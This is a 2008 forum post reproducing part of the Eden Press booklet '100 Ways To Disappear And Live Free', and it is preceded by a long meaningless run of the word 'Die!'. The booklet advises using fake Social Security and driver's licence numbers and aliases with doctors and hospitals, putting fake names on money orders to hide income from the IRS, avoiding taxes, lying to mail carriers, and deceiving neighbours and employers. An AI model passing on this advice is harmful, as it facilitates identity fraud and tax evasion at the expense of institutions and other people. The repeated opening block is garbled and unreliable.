Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die!



toggletoggle post by Mucko  at Mar 25,2008 3:41pm
100 Ways To Disappear
And Live Free
(C) 1972 Eden Press
Revised 1985
Typed by Struct Def
For other privacy oriented publications, write
EDEN PRESS
P.O. BOX 8410
FOUNTAIN VALLEY, CA 92708
INTRODUCTION
To "live free" means to be able to control your own life
and to avoid violence, or the threat of violence, by others.
What you do and how you do it will almost always determine
whether or not freedom will be yours. But YOU must take the
responsibility for creating your own freedom. No one,
especially the "government" will do it for you.
To "disappear" means to make it impossible for other
people to invade your personal world of freedom. Since most
of such invasion is by means of electronic data gathering and
cross-referencing, you must be able to short-circuit these
procedures effectively.
The most efficient method today is through the use of
what we call "alternate identification". If the new names
and numbers you plug into the networks don't match
the old ones, you have not only "disappeared", but have also
been "reborn". And being reborn means leaving your past records
where they can no longer affect you and your lifestyle.
This "disappearing" of individuals is obviously discomforting
to institutions and governments determined to control
personal activities in the Land of the Free. To them
it appears downright seditious, since in reality their power
depends directly on the number of people they can control --
through computerized records, of course.
To those who actually "disappear", however, the act is
one of tremendous personal liberation. Free men owe very
little to those who restrict opportunities on the basis of past
records. An extreme example, which nevertheless applies
to all of us, is this: When a person convicted of a felony
has served his full sentence, is he then "free"? Hardly.
What he will experience is really a LIFE SENTENCE of second-rate
opportunity.
And what happens to the convict, in practice, happens to
*everyone* who manages to have negative personal information
placed in his "records". When it comes to the point of a
person's having to live with a condemning past and ever-
narrowing opportunities, it becomes easily understandable
why he should be willing and anxious to scuttle his labeled
identity and take on another.
Becoming a new identity, however, involves many things
and requires careful attention to detail, as we shall show.
At the heart of this process, though, is the ATTITUDE a person
must assume if he is to make it work. He must forget
about his "government"; he must become his own government,
answerable only to himself, with his own rules, laws, and
systems of behavior. This is an existential "moment" few
are disciplined enough to experience, but it can be done.
The result will be a growing detachment from BIG BROTHER and
a correspoding increase of personal freedom.
The individual needn't worry about what would happen "if
everybody else did this" because they WON'T. The object is
for individuals, acting as individuals, to declare their
mental independence from whatever System is attempting to
enslave them. As individuals they are the best judges of what
degree of slavery they can accept, how far down the road
they can go before becoming robots for BIG BROTHER. Simply
put, it's the Sheep and the Wolves. The Sheep go to slaughter,
the Wolves wherever they wish...
There are numerous intermediate tactics between total
compliance and complete disappearance, such as refusing to
give your Social Security number (or giving it incorrectly),
avoiding taxes, obtaining several foreign citizenships and
passports, setting up bank accounts in several other countries,
and planning at least two routes of escape to other countries,
but in the end you will discover there really is no freedom
in the world -- *YOU MUST CREATE YOUR OWN*. You must
learn how to protect your own rights as you define them. No
one else will do it for you, *NO ONE*.
The object of this publication is to suggest ways an
individual can, in practice, escape his past and secure a
new future, *on his own terms*. Individuals will vary greatly
in how they carry out their disappearances, and it is our
hope that the ideas we present here are useful towards those
ends. We make no claims of completeness or of exhausting
the subject, as that could be potentially dangerous were
individuals to rely solely on this information.
We must stress that everyone should think over his situation
as carefully as possible, and then pick and choose
which among our methods are best suited for his needs. Above
all, he must begin using his head, trusting his hunches and
instincts, and thinking of himself as separate, different,
and even superior to those stuck in the System. He will
have to become a Wolf. He must stand alone to be free.
--Barry Reid
January 1978
II. LIVING FREE
Avoid attending church. If you must, however, use an alias when
attending, and make contributions in cash, never by check. If you are
asked by inquisitive neighbors what church you attend, either name one
of a different faith than theirs or deny interest completely. Give
the minister totally false information about yourself, as these good
folks are great gossips when approached by snoops.
Never tell neighbors where or for whom you work. Give them false
information on this subject. If you are paid by check, DON'T deposit
the paycheck in any account with your name on it. The best idea is to
go to the bank on which it is drawn and cash it there. If you make
a regular practice of this, avoid becoming familiar with any tellers
or other bank personnel. Vary the times and days for visiting the bank.
Visit different branches of the bank, too.
Another check cashing tip: avoid getting it cashed at your favorite
bar or tavern. FBI agents probably spend at least a third of their
working hours hanging around such places, as they seem to attract the
kinds of people they are looking for. Anytime there is a bank robbery,
the *first* places the FBI check out are all the bars within the immediate
vicinity of the robbery. Don't laugh. It's true because it works.
Be wary of answering "personal" ads in newspapers, as well as job
offers too neatly tailored to the type of work you did before disappearing.
If the ad calls for replying to a box number at the newspaper, disregard
totally: it's very likely to be a trap. Reply only to ads that can
guarantee not having to give yourself away, such as offers for appointments
at known companies. If phone numbers are provided in the ad, call only
from a pay phone. There's always a possibility you might be calling
directly to a bill collector or private investigator who will give
you enough patter to smoke you out.
For some really unique ways to find employment, Eden Press distributes
"HOW TO STEAL A JOB", literally every dishonest way there is to gain
honest employment. With the techniques in this book, YOU can call all
the shots. Well worth reading even for those who already have a job,
too. Someone could be gunning you. This book will open your eyes.
On the job, avoid giving background information to fellow workers.
If you're planning to stay on the job only for a short while, however, make
an effort to plant false and misleading information in the minds of the
other workers, such as your favorite pastimes, places you'd like to travel
to or live someday, and your plans for the future. Insulate your private
self by keeping your personal interests and ideas to yourself alone.
Share the spurious with the curious.
Don't subscribe to any local newspapers delivered by carriers.
Buy what you need at a newsrack. These cute kids have sometimes been
"helpful" sources of information about people's habits at home.
Don't be obvious in your living habits. Turn lights off at a decent
hour, keep stereo music from annoying neighbors, don't place empty
pony kegs on the front porch, and don't have pets that stray or annoy.
Don't do major engine overhauls in the driveway, either.
Be very careful about who comes to see you at your residence.
Avoid anything unusual which might spark the interest of neighbors.
If what you do or the people with whom you must deal are "interesting",
it might be best to arrange get-togethers elsewhere. Keep your nest
clean--good "criminal" advice.
Avoid using banks except for actually cashing checks given you by
other people. Try to conduct your affairs with cash and money orders.
When using the latter, never write your name on the face or the line
marked "Payer". Use fake names, account numbers, or business names.
For most purposes money orders can be considered "untraceable",
since the issuing institutions (American Express, banks, US Post Office)
file the paid orders *by number only*, not by other criteria which might
tend to give you away. People and businesses to whom you might remit
money orders virtually never record this number, either. They are
usually happy to be paid by money order and will consider it the same
as cash. Individuals wanting to hide income and/or otherwise disguise
their financial dealings find money orders most useful in shortchanging
the bandits at IRS, too.
Undertakers are another source like ministers, in that they are
good talkers. If you have to deal with one, be on your guard with what
you tell him. If you are called on to provide information for a death
certificate, give him only the data he actually needs. It should be
easy to appear too grief-stricken to want to chat...
Whenever you need the services of a physician, dentist, hospital, etc.,
make it standard practice to use an alias and an address other than where
you live. Pay in cash. Recite--don't display--your "driver's licence"
number and Social Security Number, making sure that they are totally fake.
Other data requested, such as employer, birthdate, etc., should be
misleading. Ignore the "warning" at the top of some hospital forms
that federal law requires honest information. We've never heard of
anyone getting busted for such a "crime" who also paid his bill. Fraud
is fraud, but identity is your business. Medical records are very
definitely NOT confidential. How else would life and health insurance
companies be able to decide so imperiously who "deserves" their coverage,
and at what rates...? For most people, medical insurance itself is a
fraud.
Don't have milk or other items delivered to you on a regular schedule.
The fewer people seen calling at you residence, the safer. Neighbors
will often notice home deliveries, which can prove to be fertile leads
for future snoops.
Avoid membership in political groups or other civic organizations.
As a rule these groups are filled with super sneaky, nosey individuals
more willing than not to stab someone in the back if it suits their
selfish purposes. Total snakes.
Arrange to have your mail sent to a 24-hour Post Office box, to a
mail drop, or a mail forwarding service. This way the only mail to be
left at your residence will be the "Occupant" variety. Make it a rule
NEVER to sign for certified or registered mail. Tell the carrier that
you are not the person named on the receipt, or that so-and-so moved
months ago. Where? Austria..... or was it Australia?
Avoid having arguments or run-ins with neighbors. An old, unresolved
grudge might be just the spark that sends an investigator to your
new location. "Getting even" is a passion few people can resist.
If a snoop is trying to trace you by telephone he may invite you to
call him person-to-person collect. *DON'T DO IT.* Ignore the request,
no matter what the excuse is. You might be tempted with some pie-in-
the-sky lie, but what he's really after is your *location*. If you don't
give yourself away in the conversation, he will simply call the operator
back for time and charges, and while she's at it, the location of
the telephone originating the call. She will be only too happy to help.
If you have to live in a motel, hotel, or nosey apartment complex,
always make it a point to be ordinaty and outwardly polite to any
employees on the premises. Give them no reason to remember you other
than as a normal person. Freaky behavior is easily noticed and
remembered by telephone operators, janitors, maids, superintendents,
house detectives, and bell boys. Tips make them TALK, too.
It's safest not to take in roomers or boarders, even though they can
help with expenses and provide companionship. The fact is, they
can get "too close" to you by picking up all kinds of information
tidbits which could come back to haunt you should certain kinds of
third parties start pumping them. Even though you might feel you
could trust them, it's very easy for a friend to give you away...
innocently.
In changing to a new identity within the same general area, make it
your policy to patronize none of the commercial establishments you
did before your name change. This would include service-oriented
businesses, too, such as shoe repairs, TV repairs, photographers,
cleaners, poodle parlors and massage parlors. If you or a member
of your family had been assisted by such charity organizations as the
March of Dimes or Community Chest, make sure that future aid is obtained
from some other organization.
If you need to have prescriptions filled often, do two things:
1) Have them filled by different pharmacies; don't patronize the same
one repeatedly, and, 2) Never give the pharmacist your correct address
and/or telephone number. If you are in need of continuing prescription,
such as for certain heart conditions or diabetes, consider having it
filled by mail from one of the large interstate mail-order pharmacies.
These outfits usually offer greatly reduced prices as well, as they
are willing to deal in generics, as opposed to strictly name-brand
drugs. Check 'em out.
Try to avoid all contact with law enforcement people. They are
like sponges whenever they deal with the public: they take in endless
quantities of information whether you are the victim or the perpetrator.
When approached by investigators and spies, they just love to spill out
all they know, and sometimes get in on the act themselves. Avoid trouble
and avoid cops.
Credit bureaus and department stores will have credit files on you
if you've used them in the past. It would be safest to avoid using credit
in the future, but if you need to get plugged back in the credit scene, it
would be advisable first to read our own book, "CREDIT", to
see how credit can be set up from scratch under new identity. This useful
book has the kind of inside information one needs to make the credit-
granting system perform to his special situation.
If you follow our suggestions regarding delivery of your mail, you
will naturally never accept any Registered or Certified mail at your
address. Since the carrier will never know your identity by leaving
only mail addressed "Occupant", you can safely tell him who you are
not whoever is named on the piece of mail he is trying to deliver. Don't
be rude or arrouse suspicion; simply help him do his job by telling him
there is no such person at your address. If he asks who *you* are, he's
out of line. He will return the letter marked "Unable to Deliver at this
Address", or "Unknown at this Address", or something else to the same
effect.
Sometimes snoops will address mail to a fictitious person "care of"
your last known name and address in the hopes it will be forwarded
(somehow), and that you will have the stupidity to return it to them
with your new address (provided by you). Any suspicious or unfamiliar
mail with your new address should simply be marked "Unknown", "Return to
Sender", etc., and deposited in a public mail box for return.
If the letter doesn't come back to the sender because you kept it
or chucked it, he may well try again with something more enticing, or
even pay a personal visit. Tracing by mail is the cheapest route for
snoopers, so be on the lookout for any mail you're not expecting or
seems the slightest bit suspicious. This will be the opening salvo
in any investigation to determine your whereabouts. *Watch your mail!*
Providing any information other that return instructions per above
can invite disaster, too. Putting on a fake forwarding address, or even
a "General Delivery" notice, will tell the sender, when the letter is
returned, that *someone* at the address on the letter knows more than he
does. The "Registered Letter", physical surveillance, or a personal
visit will be his next move. You can count on it.
Be especially watchful for any letters with an "Attorney's" return
address. They deserve no more respect than any other letter. If you're
not expecting correspondence from your own attorney, it's very likely a
fake name used by an investigator. This gambit is many times used on
third parties (close relatives of yours) in the hopes they know where
you really are and that they have the "courtesy" to forward the letter
to you. This is a good reason for you NOT to tell relatives where you
can be reached. If they don't know, they can't tell.
If you can trust a particular person to forward items to your P.O.
box or mail forwarding service, at least instruct them to place the
letter in another (cover) envelope so that no forwarding instructions are
on the face of the original envelope. You can decide what to do with
the mail when you get it. If you want it returned, do NOT drop it in a
box in your area--the stamp of the main post office near you will likely
be on the envelope, much to the glee of the sender. Either send it back
to your friend in still another envelope for him to remail locally, or
use a mail forwarding service in a distant city to remail per your
instructions. Again, *BE CAREFUL WITH YOUR MAIL*. Knowing how to deal
with your mail is vital to disappearing. Think first before acting!!
Avoid drawing attention to yourself. Don't exhibit "socially unacceptable"
behavior PUBLICLY. Cops are programmed to bust anyone who appears
"suspicious" (different from them). Jails, psycho wards, and prisons
aren't exactly "free"....
Your appearance, possessions and actions should always justify your
presence on a legitimate (conventional) basis. This is the best
way to avoid suspicion.
If you are stopped and questioned, always be able to give a reasonable
explanation of why you where there, where you are from, and where you
are going. Smile and be "helpful".
A sullen or hostile attitude triggers the cops for a bust--your bust.
So go ahead and "Kill the Pigs"--with kindness. You'll win by keeping
your freedom, dig?
Even perfectly legal behavior can arouse suspicion. Avoid such
things as solitary walks late at night, or wearing clothing inappropriate
for the weather. Store detectives love to follow shoppers wearing
oversized clothing, too. The police find it easy, even entertaining, to
pin stray raps on such "suspicious" characters. Days and weeks can go
by before they decide they've made a "mistake". Really!!
Examine your daily habits and eliminate any which might possibly be
regarded as "peculiar", especially if performed publicly.
Live in a large city where you can have the protection of anonymity.
Avoid small towns where the only sport is gossip--about you.
Your business should be no one else's.
Appear to be lower-middle class in your standard of living. Don't
attract the attention given the very poor or the obviously well-off.
Rent a house or apartment that appears "respectable", but no more
plush than the average cop can afford.
If you like to live it up, do it somewhere other than around where you
live and work. Try Las Vegas, New York, Jamaica, Tokyo, Fiji....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MAY WE RECOMMEND...?
If you're looking for those proverbial "greener pastures" by
all means subscribe to "GREENER PASTURES GAZETTE". This down-to-earth
newsletter covers job and business opportunities, real estate, and
the great joys of living in "countryside Edens where the Good Life
still exists". "GREENER PASTURES GAZETTE" also covers islandss and
foreign paradises where the living can unbelievable inexpensive and
hassle-free. Subscription price is $20 per year, and worth every
penny. Address is P.O. Box 864, Bend, OR 97709. Excellent!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dress conventionally. Adopt what you perceive as the broad community
standard. Don't be black or white as long as gray has so many shades.
Blend in.
Be clean and neat, never showy or gaudy.
Conformity for guys means neat beard (if any), no long hair or
freaky clothes. Biker "colors" are out.
For the ladies, no sexy, convention-flaunting attire such as miniskirts
and see-thru blouses without underwear. The man LOVES to drool
over "liberated" lassies, and often does more...
Have conventional answers to common questions such as where you are from,
where you work, where your family lives, etc. Be vague, however.
There's less heat in telling plausible lies than in countering
with self-righteous silence. The object is to avoid suspicion, so be
a "reasonable" person. Lying is not illegal unless you are under oath
or perpetrating a fraud.
When confronted by federal agents or other law enforcement officers,
you have no obligation to talk to them. If you do, however, make sure
you don't lie. Making false statements to federal officers *is* a bust!
A good way to turn the "meeting" in your favor, is to inform the officer
that he should take up the matter with your attorney, whose name and
address you are willing to provide. If you don't have an attorney at
present, tell him you are in the process of obtaining one, and that you
will so notify him when you do. This will tell the agent-snoop that
1) you are a cool customer who knows how to take care of himself by
knowing his rights, and 2) that for him to deal with your attorney will
be tantamount to having to take you to court--something he's obviously
not (yet) ready to do. Your talking to the officer could very likely
insure you an earlier court date....if that's what you want.
It's perfectly moral to lie to someone who asks about things which
are none of his business. HE is the one acting immorally. Don't forget!
Don't throw wild parties. Far too many busts come courtesy of tender-
eared, blue-nosed, fink-ass neighbors.
Don't make speed, DMT, THC, acid, or nitro in your kitchen. Window sills
aren't the safest places to cultivate, either.
Hold your stereo down to "mood level" late at night. Not everyone
mellows out with Led Zepplin or the Stones.
Your neighbors are the most dangerous people you know. You can
include relatives here, too. They will ALL snitch without compunction.
"Calling the cops" is fair sport in towns of all sizes, so don't
antagonize. Be friendly, stay friendly--but on your terms.
Be superficially "nice" to your neighbors, but have as little as possible
to do with them. Ideally, you don't want them to know *anything* about
you.
Even if you observe all these precautions you might still be harrased
by criminals, both private and public. Whatever you do, don't
blow your cover and thus lead them to suspect you. Keep your temper,
be humble and polite, and refrain from shouting matches and/or slugfests.
Remember you are a minority of one. "They" still have the guns and bars.
If you're not content, however, to let vengeance be the Lord's, at
least abide by this cardinal rule of guerrilla warfare: Don't let the
enemy determine your tactics. Retaliate at a time and place with
weapons of your choosing.
Any activity which might attract unfavorable attention, such as
writing, nude photography, erotic sculpture, etc., should be done under
a "nom de plume". Provide a separate address for any such names. P.O.
boxes are fine.
Never express controversial opinions around home or at work. If you
preach, do it in another town or state.
Avoid being fingerprinted. Don't apply for civil service jobs.
The FBI would like to have everyone fingerprinted so they could
*control* individual lives, but so far they've been stopped.
Stay out of the armed forces. Here again fingerprinting labels
you forever with the only method of positive identification.
Don't apply for security clearances or seek employment in firms
which routinely fingerprint.
Don't take part in mass demonstrations or dissident activities which
might lead to mass arrests. Fingerprinting would surely follow.
The thumbprint required on applications for drivers licences in many
states (like California) does *not* go to the FBI. It is kept with
the applications "on file", and its main purpose seems to be that of
psychological deterrence. The states make no efforts to classify the
